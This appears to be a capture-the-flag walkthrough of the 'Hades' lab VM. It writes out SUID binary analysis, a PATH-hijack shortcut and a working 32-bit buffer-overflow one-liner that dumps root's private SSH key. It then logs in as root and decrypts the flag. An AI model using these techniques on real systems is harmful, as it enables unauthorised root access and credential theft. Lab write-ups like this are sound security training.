With shell access as loki, I did some standard system enumeration and found that he was the only user, and that SSH was running. Loki didn’t have a
.ssh directory in his home folder, so I created one and popped my public SSH key into
.bash_history file, you get a small troll from lok_sigma.
[email protected]:~$ cat .bash_history Really? Not that kind of challenge....
Poking around, I found a few more interesting files.
[email protected]:/$ ls -la / drwxr-xr-x 2 root root 4096 Mar 18 20:31 display_root_ssh_key -r-------- 1 root root 9984 Mar 19 17:27 key_file [email protected]:/$ ls -la /display_root_ssh_key/ -rw------- 1 root root 1 Mar 19 19:38 counter -rwsr-sr-x 1 root root 273048 Mar 18 20:31 display_key [email protected]:/display_root_ssh_key$ file display_key display_key: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
Looks like another binary with the SUID bit set, and is owned by root. I gave it a little poke and…
[email protected]:/display_root_ssh_key$ ./display_key Ready to dance? Enter password: lok_sigma [email protected]:/display_root_ssh_key$ ./display_key Ready to dance? Enter password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Broadcast message from [email protected] (/dev/pts/1) at 2:20 ... The system is going down for reboot NOW! Connection to 192.168.127.128 closed by remote host. Connection to 192.168.127.128 closed.
The damn VM just rebooted itself! I thought perhaps this may’ve been because I entered a long string of A’s, but I tried it again with normal words and the same thing happened. I downloaded the file to my Kali VM for analysis.
Give me Key!
[email protected]:~/hades# checksec --file display_key RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH display_key
[email protected]:~/hades# strings display_key | less cat /root/.ssh/id_rsa rt0oun Ready to danc EE patword: FATAL $Info: This file is a doozy. I hope you like it. This *is* the right one, and when you exploit it you will get what you need. Read the instructions. $
This binary is designed to display the private SSH key of the root user (which is why it needs to run as root). I moved my
sbin/reboot file to
sbin/reboot.bk in the hope that this would stop my VM from rebooting, and ran the binary through
[email protected]:~/hades# strace -i -ff ./display_key [080568ee] open("counter", O_RDONLY) = -1 ENOENT (No such file or directory) [08049d8b] --- SIGSEGV (Segmentation fault) @ 0 (0) --- [????????] +++ killed by SIGSEGV +++ Segmentation fault
It crashes because it can’t open the counter file. The file permission on hades were such that I couldn’t download the real counter file, so I just created an empty file (
I followed it through a few times until it tried to reboot again and saw the following:
[pid 2949] [b77d0424] stat64("/usr/local/sbin/reboot", 0xbfeaa3b0) = -1 ENOENT (No such file or directory) [pid 2949] [b77d0424] stat64("/usr/local/bin/reboot", 0xbfeaa3b0) = -1 ENOENT (No such file or directory) [pid 2949] [b77d0424] stat64("/usr/sbin/reboot", 0xbfeaa3b0) = -1 ENOENT (No such file or directory) [pid 2949] [b77d0424] stat64("/usr/bin/reboot", 0xbfeaa3b0) = -1 ENOENT (No such file or directory) [pid 2949] [b77d0424] stat64("/sbin/reboot", 0xbfeaa3b0) = -1 ENOENT (No such file or directory) [pid 2949] [b77d0424] stat64("/bin/reboot", 0xbfeaa3b0) = -1 ENOENT (No such file or directory) [pid 2949] [b77d0424] write(2, "sh: 1: ", 7sh: 1: ) = 7 [pid 2949] [b77d0424] write(2, "reboot: not found", 17reboot: not found) = 17 [pid 2949] [b77d0424] write(2, "\n", 1
This shows that
reboot is executed, but an absolute path is not coded into the binary, which is why it cycles through each of the envronmental paths (
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin). It was later reported that this was an unintentional bug in the VM, as it made it a little too easy to get root access. All that was required was to place a binary or symlink into any directory, name it reboot, and insert a new directory into the PATH variable. This could be used to execute a new instance of
/bin/bash, for example, as root.
This was fixed in v1.0.1 of the challenge.
A Man’s Solution!
I was able to crash the application by sending 100 A’s as a password. I loaded it up in GDB to confirm.
[email protected]:~/hades# gdb ./display_key -q Enter password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eax 0x7f00 32512 ecx 0xbfffe394 -1073749100 edx 0x0 0 ebx 0x0 0 esp 0xbfffe4c0 0xbfffe4c0 ebp 0x41414141 0x41414141 esi 0x8048a20 134515232 edi 0xa5325e00 -1523425792 eip 0x41414141 0x41414141
It looks like I can own
EIP. Even though I sent 100 A’s, it looks like only 24 are getting to the stack.
(gdb) x/20x $esp 0xbfffe4c0: 0xbfffe400 0x00000019 0x080ca7e0 0x00000001 0xbfffe4d0: 0xbfffe4e8 0x41048e97 0x41414141 0x41414141 0xbfffe4e0: 0x41414141 0x41414141 0x41414141 0x00414141 0xbfffe4f0: 0x00000001 0xbfffe58c 0xbfffe594 0x00000000 0xbfffe500: 0x00000000 0x00000000 0x00000000 0x00000000
EIP is overwritten at
20 bytes and
Because the binary is stripped of symbols, it makes it really hard to debug and find functions etc. All I really needed was to jump directly to the cat instruction and bypass the password entry.
I used GDB to search blocks of memory for an instance where
cat /root existed. I looked at the memory mappings to use as my address ranges.
[email protected]:~/hades# cat /proc/3490/maps 00c01000-00c02000 r-xp 00000000 08:01 1578682 /root/hades/display_key 08048000-080ca000 r-xp 00000000 00:00 0 080ca000-080ef000 rwxp 00000000 00:00 0 [heap] b7ffd000-b7fff000 rwxp 00000000 00:00 0 b7fff000-b8000000 r-xp 00000000 00:00 0 [vdso] bffdf000-c0000000 rwxp 00000000 00:00 0 [stack] (gdb) find /b 0x08048000, 0x080ca000, 'c', 'a', 't', ' ', '/' 0x80ab408 1 pattern found. (gdb) x/s 0x80ab408 0x80ab408: "cat /root/.ssh/id_rsa"
I tried my luck at jumping directly to this locatation, but no dice. I thought the way this was probably working, is for this to get loaded into one of the CPU registers as a variable for execv or something. Since it’s a statically linked binary, this address must be referenced in a function somewhere…
For the life of me, I couldn’t work out how to search for this in GDB. If you’re reading this and know how, please let me know.
This meant I had to manually search through areas of memory, to find if they contained a reference to this address. The way I did this was to SSH into my Kali VM with Putty, and use it’s console logging option to log everything to a text file. Then use good ole Ctrl+F. It became a case of…
…and putting a weight on the Return key whilst I stepped out to read a book!
Eventually the whole section of memory (
0x8048000-0x80ca000) was dumped out to a text file (1.77MB in size). I did a search for
0x80ab408 and got one hit.
0x804825a: mov DWORD PTR [esp],0x80ab408
I went to that area of memory to see which instructions surrounded it.
0x8048254: push ebp 0x8048255: mov ebp,esp 0x8048257: sub esp,0x18 0x804825a: mov DWORD PTR [esp],0x80ab408 0x8048261: call 0x80493a0 0x8048266: leave 0x8048267: ret
I also had a look at
0x80493a0, which contained a
Push EBP instruction.
Before trying to screw around too much, I thought I’d try and jump to
[email protected]:~/hades# python -c 'print ("A" * 20) + "\x5a\x82\x04\x08"' | ./display_key Ready to dance? Enter password: -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAvggYLQeERLoR4kjgJqU1GIWvcKaieMOfrwv4p/1o+VRUTdeA [...snip...] x1Xlob/xYTUViso5Exxd8y72SvglgBT7M+g8bSbXMdq4EO3GKfIF -----END RSA PRIVATE KEY----- Segmentation fault
The application still seg faults, but at least my exploit worked!
Get to da Flag
I coped the hades root private key to my Kali VM, and was able to SSH in as root :)
[email protected]:~/hades# ssh root @ 192.168.127.128 -i private_key [email protected]:~# id; whoami uid=0(root) gid=0(root) groups=0(root) root [email protected]:~# ls -la /root/ -rw-r--r-- 1 root root 3376 Mar 19 19:05 flag.txt.enc
This file is encrypted with
OpenSSL, as given away by the file header.
[email protected]:~/hades# strings flag.txt.enc | head Salted__
I remembered the notes file I originally found in loki’s home dir:
AES 256 CBC Good for you and good for me.
At first I tried this phrase as a key within OpenSSL:
[email protected]:~/hades# openssl enc -d -aes-256-cbc -in flag.txt.enc -k "Good for you and good for me" -out flag.txt bad decrypt
I tried mangling the phrase, but nothing worked. I eventually remembered the
key_file and after feeding this into
OpenSSL, the file was successfully decrypted!
[email protected]:~/hades# openssl enc -d -aes-256-cbc -in flag.txt.enc -pass file:key_file -out flag.txt